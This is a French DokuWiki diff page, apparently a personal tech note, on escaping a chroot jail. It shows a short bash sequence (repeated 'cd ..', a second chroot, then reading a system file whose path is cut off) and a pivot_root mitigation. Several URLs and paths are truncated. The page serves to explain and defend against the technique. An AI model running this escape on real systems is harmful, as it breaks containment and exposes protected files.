tech:chroot_escape
Différences
Ci-dessous, les différences entre deux révisions de la page.
| tech:chroot_escape [2026/06/02 16:37] – créée Jean-Baptiste | tech:chroot_escape [2026/07/28 06:58] (Version actuelle) – Jean-Baptiste | ||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| + | < | ||
| + | {{tag> | ||
| + | |||
| + | # chroot escape | ||
| + | |||
| + | Voir aussi container escape : | ||
| + | * https:// | ||
| + | |||
| + | Source : https:// | ||
| + | |||
| + | ~~~bash | ||
| + | mkdir hideout | ||
| + | chroot hideout | ||
| + | for i in {1..800}; do | ||
| + | cd .. # climb back toward real / | ||
| + | done | ||
| + | chroot . # second redirect resets limits | ||
| + | cat / | ||
| + | ~~~ | ||
| + | |||
| + | Solution : utiliser pivot_root | ||
| + | ~~~bash | ||
| + | # 1) Start a fresh namespace | ||
| + | unshare --mount --pid --fork bash | ||
| + | |||
| + | # 2) Prepare a new root | ||
| + | mkdir -p / | ||
| + | mount --bind / / | ||
| + | |||
| + | # 3) Swap roots | ||
| + | pivot_root / | ||
| + | |||
| + | # 4) Detach the former root | ||
| + | umount -l /oldroot | ||
| + | ~~~ | ||
| + | |||
tech/chroot_escape.txt · Dernière modification : de Jean-Baptiste
